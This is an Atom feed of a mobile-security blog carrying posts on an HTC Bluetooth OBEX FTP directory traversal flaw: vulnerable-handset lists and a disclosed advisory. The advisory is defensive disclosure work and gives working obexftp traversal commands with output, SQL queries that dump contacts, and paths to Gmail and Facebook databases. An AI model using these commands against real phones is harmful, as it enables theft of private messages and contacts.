<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0cAQHs9fyp7ImA9WhRaFE0.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050</id><updated>2012-02-16T16:10:41.567+01:00</updated><category term="Windows Mobile security" /><category term="Mobile phone security" /><category term="Bluetooth spec and development (español)" /><category term="HTC Shift" /><category term="Mobile phone security (español)" /><category term="Bluetooth security (español)" /><category term="Bluetooth security" /><category term="Headsets hijacking" /><category term="Android security" /><title>Seguridad Mobile</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://seguridadmobile.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>26</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/SeguridadMobile" /><feedburner:info uri="seguridadmobile" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DEMHRncyfip7ImA9WhdaF0o.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-7546780012346536249</id><published>2011-10-25T10:05:00.009+02:00</published><updated>2011-10-28T06:33:57.996+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-28T06:33:57.996+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Android security" /><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Windows Mobile security" /><title>Mobile phones vulnerable to OBEX FTP Service Directory Traversal in Japan</title><content type="html">HTC mobile phones running the following versions of Windows Mobile and Android are affected by the &lt;a href="http://seguridadmobile.com/windows-mobile/windows-mobile-security/HTC-Windows-Mobile-OBEX-FTP-Service-Directory-Traversal.html"&gt;HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability&lt;/a&gt; (Bugtraq ID &lt;a href="http://www.securityfocus.com/bid/33359"&gt;33359&lt;/a&gt;) and the &lt;a href="http://seguridadmobile.com/android/android-security/HTC-Android-OBEX-FTP-Service-Directory-Traversal.html"&gt;HTC / Android OBEX FTP Service Directory Traversal Vulnerability&lt;/a&gt; (Bugtraq ID &lt;a href="http://www.securityfocus.com/bid/48821"&gt;48821&lt;/a&gt;), respectively.&lt;br /&gt;&lt;br /&gt;&lt;TABLE BORDER="0"&gt; &lt;TR&gt; &lt;TD bgcolor="#FF6600" width="180"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Platform&lt;/span&gt;&lt;/TD&gt;&lt;TD bgcolor="#FF6600" width="200"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Windows Mobile&lt;/span&gt;&lt;/TD&gt;&lt;TD bgcolor="#FF6600" width="200"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Android&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD style="color: rgb(255, 102, 0);"&gt;&lt;span style="font-weight:bold;"&gt;Vulnerable&lt;/span&gt;&lt;/TD&gt;&lt;TD&gt;Windows Mobile 6 Professional&lt;/TD&gt;&lt;TD&gt;Android 2.1&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;Windows Mobile 6 Standard&lt;/TD&gt;&lt;TD&gt;Android 2.2&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;Windows Mobile 6.1 Professional&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;Windows Mobile 6.1 Standard&lt;/TD&gt;&lt;TD&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD style="color: rgb(255, 102, 0);"&gt;&lt;span style="font-weight:bold;"&gt;Fixed (upon disclosure)&lt;/span&gt;&lt;/TD&gt;&lt;TD&gt;Windows Mobile 6.5&lt;/TD&gt;&lt;TD&gt;Android 2.3&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;After carrying out several tests in mobile phones sold in Japan by different operators, I can state that the following handsets are vulnerable, up to September 2011.&lt;br /&gt;&lt;br /&gt;&lt;TABLE BORDER="0"&gt;&lt;TR&gt;&lt;TD bgcolor="#FF6600" width="180"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Platform&lt;/span&gt;&lt;/TD&gt;&lt;TD bgcolor="#FF6600" width="200"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Product name&lt;/span&gt;&lt;/TD&gt;&lt;TD bgcolor="#FF6600" width="200"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Operator name&lt;/span&gt;&lt;/TD&gt;&lt;TD bgcolor="#FF6600"&gt;&lt;span style="font-weight:bold;color: rgb(255, 255, 255);"&gt;Status&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD style="color: rgb(255, 102, 0);"&gt;&lt;span style="font-weight:bold;"&gt;Windows Mobile&lt;/span&gt;&lt;/TD&gt;&lt;TD&gt;HTC TOUCH™ DUAL&lt;/TD&gt;&lt;TD&gt;DoCoMo HT1100&lt;/TD&gt;&lt;TD&gt;Discontinued&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC TOUCH™ DIAMOND&lt;/TD&gt;&lt;TD&gt;DoCoMo HT-02A&lt;/TD&gt;&lt;TD&gt;Discontinued&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC TOUCH™ PRO&lt;/TD&gt;&lt;TD&gt;DoCoMo HT-01A&lt;/TD&gt;&lt;TD&gt;Discontinued&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC TyTN II™&lt;/TD&gt;&lt;TD&gt;EMobile S11HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://emobile.jp/products/ht/s11ht/"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC TOUCH™ DUAL&lt;/TD&gt;&lt;TD&gt;EMobile S12HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://emobile.jp/products/ht/s12ht/"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC S740&lt;/TD&gt;&lt;TD&gt;EMobile S22HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://emobile.jp/products/ht/s22ht/"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD style="color: rgb(255, 102, 0);"&gt;&lt;span style="font-weight:bold;"&gt;Android&lt;/span&gt;&lt;/TD&gt;&lt;TD&gt;HTC ARIA&lt;/TD&gt;&lt;TD&gt;EMobile S31HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://emobile.jp/products/ht/s31ht/"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC DESIRE&lt;/TD&gt;&lt;TD&gt;Softbank X06HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://mb.softbank.jp/en/products/htc/x06ht.html"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt; &lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC DESIRE&lt;/TD&gt;&lt;TD&gt;Softbank X06HTII&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://mb.softbank.jp/en/products/htc/x06ht2.html"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC DESIRE HD&lt;/TD&gt;&lt;TD&gt;Softbank 001HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://mb.softbank.jp/en/products/htc/001ht.html"&gt;On sale&lt;/a&gt;&lt;/TD&gt; &lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;&lt;/TD&gt;&lt;TD&gt;HTC EVO WiMAX&lt;/TD&gt;&lt;TD&gt;Au KDDI ISW11HT&lt;/TD&gt;&lt;TD&gt;&lt;a href="http://www.au.kddi.com/english/seihin/ichiran/smartphone/isw11ht/index.html"&gt;On sale&lt;/a&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;Regarding the security hotfix for Windows Mobile, HTC discontinued the support downloads for Windows Mobile 6 and Windows Mobile 6.1 handsets time ago. Unfortunately, the operator EMobile did not install the hotfix when it was available and as far as I could test products on sale are vulnerable. Users have no way to protect their handsets against the vulnerability.&lt;br /&gt;&lt;br /&gt;Regarding the security hotfix for Android, HTC has not announced any security update related to the vulnerability for the affected versions, Android 2.1 and Android 2.2. The advisory was, however, reported to the company in 2011/02 (then disclosed in 2011/07) and the security flaw was fixed for Android 2.3. Users of HTC / Android products should update to Android 2.3 to protect their handsets.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-7546780012346536249?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/zwDXd1TQIuI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/7546780012346536249/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=7546780012346536249" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7546780012346536249?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7546780012346536249?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/zwDXd1TQIuI/mobile-phones-vulnerable-in-japan.html" title="Mobile phones vulnerable to OBEX FTP Service Directory Traversal in Japan" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2011/10/mobile-phones-vulnerable-in-japan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4NQ3wzeSp7ImA9WhdaFU8.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2186225016555252901</id><published>2011-08-30T08:27:00.000+02:00</published><updated>2011-10-25T08:43:12.281+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-25T08:43:12.281+02:00</app:edited><title>My first academic publication</title><content type="html">Alberto Moreno and Eiji Okamoto. &lt;span style="font-style:italic;"&gt;&lt;a href="http://www.springerlink.com/content/u2451864502705x8/"&gt;BlueSnarf revisited: OBEX FTP service directory traversal&lt;/a&gt;&lt;/span&gt;. In V. Casares-Giner et al., editors, &lt;span style="font-style:italic;"&gt;NETWORKING 2011 Workshops&lt;/span&gt;, number 6827 in Lecture Notes in Computer Science, pages 155-166. Springer, 2011. © Springer-Verlag&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/-pbZnGaqfYTU/TqZXGFMM9sI/AAAAAAAAAeY/6tuubvioiwI/IMG_6867.JPG" width="400"/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2186225016555252901?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/bE0qxjBihjk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2186225016555252901/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2186225016555252901" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2186225016555252901?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2186225016555252901?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/bE0qxjBihjk/my-first-academic-publication.html" title="My first academic publication" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-pbZnGaqfYTU/TqZXGFMM9sI/AAAAAAAAAeY/6tuubvioiwI/s72-c/IMG_6867.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2011/10/my-first-academic-publication.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8FR3k4fCp7ImA9WhdSGUw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-404971024636399973</id><published>2011-07-26T10:16:00.008+02:00</published><updated>2011-07-29T06:30:16.734+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-29T06:30:16.734+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Android security" /><title>HTC / Android OBEX FTP Service Directory Traversal Vulnerability Advisory</title><content type="html">Title: HTC / Android OBEX FTP Service Directory Traversal &lt;br /&gt;Author: Alberto Moreno Tablado &lt;br /&gt;Vendor: &lt;a href="http://www.htc.com"&gt;HTC&lt;/a&gt; &lt;br /&gt;Vulnerable  Products: &lt;br /&gt;- HTC devices running Android 2.1 &lt;br /&gt;- HTC devices running Android 2.2&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Summary&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;HTC devices running Android 2.1 and Android 2.2 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. Exploiting this issue allows a remote authenticated attacker to list arbitrary directories, and read arbitrary files, via a ../ in a pathname.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Description&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the present HTC / Android phones include a Bluetooth stack, which provides Bluetooth communications with other remote devices. The File Transfer Profile (OBEX FTP) is one among all the Bluetooth services that may be implemented in the stack.&lt;br /&gt;&lt;br /&gt;The OBEX FTP service is a software implementation of the File Transfer Profile (FTP). The File Transfer Profile (FTP) is intended for data exchange and it is based on the OBEX communications client-server protocol. The service is present in a large number of Bluetooth mobile phones. This service can be used for sending files from the phone to other remote devices and also allows remote devices to browse shared folders and download files from the phone.&lt;br /&gt;&lt;br /&gt;In HTC / Android phones, the default directory of the OBEX FTP Server is the SDCard. Only files placed in the directory of the SDCard can be shared. The user cannot select other directory so sensitive files related to the operating system are not exposed.&lt;br /&gt;&lt;br /&gt;There exists a &lt;span style="font-weight:bold;"&gt;Directory Traversal vulnerability in the OBEX FTP Service&lt;/span&gt; in the Bluetooth Stack implemented in HTC devices running Android 2.1 and Android 2.2. The OBEX FTP Server is a 3rd party driver developed by HTC and installed on HTC devices running Android operating system, so the vulnerability affects to this vendor specifically.&lt;br /&gt;&lt;br /&gt;A remote attacker (who previously owned authentication and authorization rights) can use tools like &lt;a href="http://dev.zuckschwerdt.org/openobex"&gt;ObexFTP&lt;/a&gt; or gnomevfs-ls over Linux to traverse to parent directories out of the default Bluetooth shared folder &lt;span style="font-weight:bold;"&gt;by using ../ or ..\\ marks&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The only requirement is that the attacker must have authentication and authorization privileges over Bluetooth. Pairing up with the remote device should be enough to get it. However, &lt;a href="http://www.seguridadmobile.com/bluetooth/bluetooth-security/sniffing-the-Bluetooth-pairing.html"&gt;more sophisticated attacks, such as sniffing the Bluetooth pairing, linkkey cracking and MAC address spoofing&lt;/a&gt;, can be used in order to avoid this. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Scope of the attack&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Directory Traversal vulnerability allows a remote attacker to browse folders located anywhere in the file system and download any file contained in any folder.&lt;br /&gt;&lt;br /&gt;1) List arbitrary directories&lt;br /&gt;&lt;br /&gt;Any directory within the file system of the phone can be browsed, beyond the limits of the default shared folder (the SDCard).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;The following example is the output of a command for listing a directory with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the path ../, the command retrieves the content of the parent of the default directory of the FTP server, this is the root directory of the disk file system:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor="#eeeeee" width=100%&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt; gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -l "../"&lt;br /&gt;      Browsing 90:21:55:8C:2C:3A ...&lt;br /&gt;      Connecting..\done&lt;br /&gt;      Tried to connect for 29ms&lt;br /&gt;      Receiving "../"... Sending ".."...|done&lt;br /&gt;      /&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;      &amp;lt;!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd"&amp;gt;&lt;br /&gt;      &amp;lt;folder-listing version="1.0"&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;parent-folder/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="sqlite_stmt_journals"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="config"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="sdcard"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="d"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="etc"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="cache"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="system"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="sys"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="sbin"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="proc"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;file name="logo.rle" size="11336" user-perm="R" created="19700101T090000Z"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;file name="init.rc" size="14664" user-perm="R" created="19700101T090000Z"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;file name="init.goldfish.rc" size="1677" user-perm="R" created="19700101T090000Z"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;file name="init.buzz.rc" size="3608" user-perm="R" created="19700101T090000Z"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;file name="init" size="107668" user-perm="R" created="19700101T090000Z"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;file name="default.prop" size="118" user-perm="R" created="19700101T090000Z"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="data"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="root"/&amp;gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;&amp;lt;folder name="dev"/&amp;gt;&lt;br /&gt;      &amp;lt;/folder-listing&gt;done&lt;br /&gt;      Disconnecting..-done&lt;/em&gt;&lt;/tr&gt;&lt;/td&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;2) Read arbitrary files&lt;br /&gt;&lt;br /&gt;Any file located in the file system can be downloaded. This may lead to access confidential data such as contacts, messages, emails or temporary internet files.&lt;br /&gt;&lt;br /&gt;- Emails from Google account downloaded via GMAIL application, located in /data/data/com.google.android.providers.gmail/databases/mailstore.*****@gmail.com.db&lt;br /&gt;- Friends, conversations, mailbox_messages, etc. from Facebook account downloaded via FACEBOOK application, located in ../data/data/com.facebook.katana/databases/fb.db&lt;br /&gt;- Contacts database, located in /data/data/com.android.providers.contacts/databases/contacts2.db.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;The following example is the output of a command for downloading a file with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the pathname ../data/data/com.android.providers.contacts/databases/contacts2.db, the command retrieves the contacts database: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor="#eeeeee" width=100%&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -g "../data/data/com.android.providers.contacts/databases/contacts2.db"&lt;br /&gt;Browsing 90:21:55:8C:2C:3A ...&lt;br /&gt;Connecting..\done&lt;br /&gt;Tried to connect for 50ms&lt;br /&gt;Receiving "../data/data/com.android.providers.contacts/databases/contacts2.db"... Sending ".."...|Sending "data".../Sending "data"...-Sending "com.android.providers.contacts"...\Sending "databases"...|done&lt;br /&gt;/done&lt;br /&gt;Disconnecting..-done&lt;/em&gt;&lt;/tr&gt;&lt;/td&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Once the database is downloaded, contacts can be queried with SQL:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor="#eeeeee" width=100%&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.android.pcsc'"&lt;br /&gt;08012341234&lt;br /&gt;Philip J. Fry&lt;br /&gt;pjfry@planex.com&lt;br /&gt;...&lt;/em&gt;&lt;/tr&gt;&lt;/td&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Also contacts synced from Google and Facebook accounts can be queried from the same database:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor="#eeeeee" width=100%&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.socialnetwork.facebook'"&lt;br /&gt;*********&lt;br /&gt;Aitana *******&lt;br /&gt;Aitana *******&lt;br /&gt;********@gmail.com&lt;br /&gt;http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs712.ash1/******_*********&lt;br /&gt;*_*******_*.jpg&lt;br /&gt;...&lt;/em&gt;&lt;/tr&gt;&lt;/td&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Affected products&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- HTC devices running Android 2.1&lt;br /&gt;- HTC devices running Android 2.2&lt;br /&gt;&lt;br /&gt;The following products were tested and showed to be vulnerable: HTC Wildfire A3333, Softbank 001HT (HTC Desire HD), EMobile S31HT (HTC Aria).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Vendor status&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability is related to &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0244"&gt;CVE-2009-0244&lt;/a&gt;, a &lt;a href="http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/index.html"&gt;vulnerability announced in 2009 affecting HTC devices running Windows Mobile 6 and Windows Mobile 6.1&lt;/a&gt; and reported to HTC Europe. After the vulnerability was disclosed, HTC issued security hotfixes under the name &lt;span style="font-style:italic;"&gt;Hotfix to enhance the security mechanism of Bluetooth service&lt;/span&gt; for all the affected products. HTC reproduced the same security flaw in Android phones shipped throughout 2010 and 2011.&lt;br /&gt;&lt;br /&gt;The current advisory was reported to HTC Japan in 2011/02. Subsequently, it was reported to HTC Europe in 2011/04 in order to obtain more feedback and re-attempt the collaboration. In both cases I failed to coordinate the disclosure of the advisory and release of the hotfix so finally I am forced to go public with all the information undisclosed.&lt;br /&gt;&lt;br /&gt;The vulnerability is published as a zero-day threat. This means that all HTC devices running Android 2.1 and Android 2.2 shipped up to date July 2011 may be vulnerable and a security hotfix has not been issued by the manufacturer yet.&lt;br /&gt;&lt;br /&gt;Users of HTC Android phones may expect to receive a notification for security update over-the-air regarding to this vulnerability, or find the latest updates in the &lt;a href="http://www.htc.com/www/help/"&gt;support site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.seguridadmobile.com/android/android-security/HTC-Android-OBEX-FTP-Service-Directory-Traversal.html"&gt;Read the full advisory here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;HTC Wildfire, HTC Desire HD and HTC Aria are trademarks of HTC Corporation (HTC). Softbank 001HT is a trademark of SOFTBANK Corp. EMobile S31HT is a trademark of EMOBILE Ltd.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-404971024636399973?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/svY5ygMIOtw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/404971024636399973/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=404971024636399973" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/404971024636399973?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/404971024636399973?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/svY5ygMIOtw/htc-android-obex-ftp-service-directory.html" title="HTC / Android OBEX FTP Service Directory Traversal Vulnerability Advisory" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2011/07/htc-android-obex-ftp-service-directory.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYDRn84fSp7ImA9WhdTGUU.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2635641746141266559</id><published>2009-07-16T11:46:00.013+02:00</published><updated>2011-07-18T11:42:57.135+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-18T11:42:57.135+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>HTC releases hotfix for Bluetooth security flaw</title><content type="html">HTC commenced to issue hotfixes referred to the &lt;a href="http://seguridadmobile.blogspot.com/2009/07/htc-windows-mobile-obex-ftp-service.html"&gt;HTC / Windows Mobile OBEX FTP Service Directory Traversal vulnerability&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;All users of HTC products affected may download and install the hotfix to enhance the security mechanisms of the Bluetooth service in their HTC handsets:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/SupportDownload.aspx?p_id=88&amp;cat=0&amp;dl_id=609" target="_blank"&gt;HTC 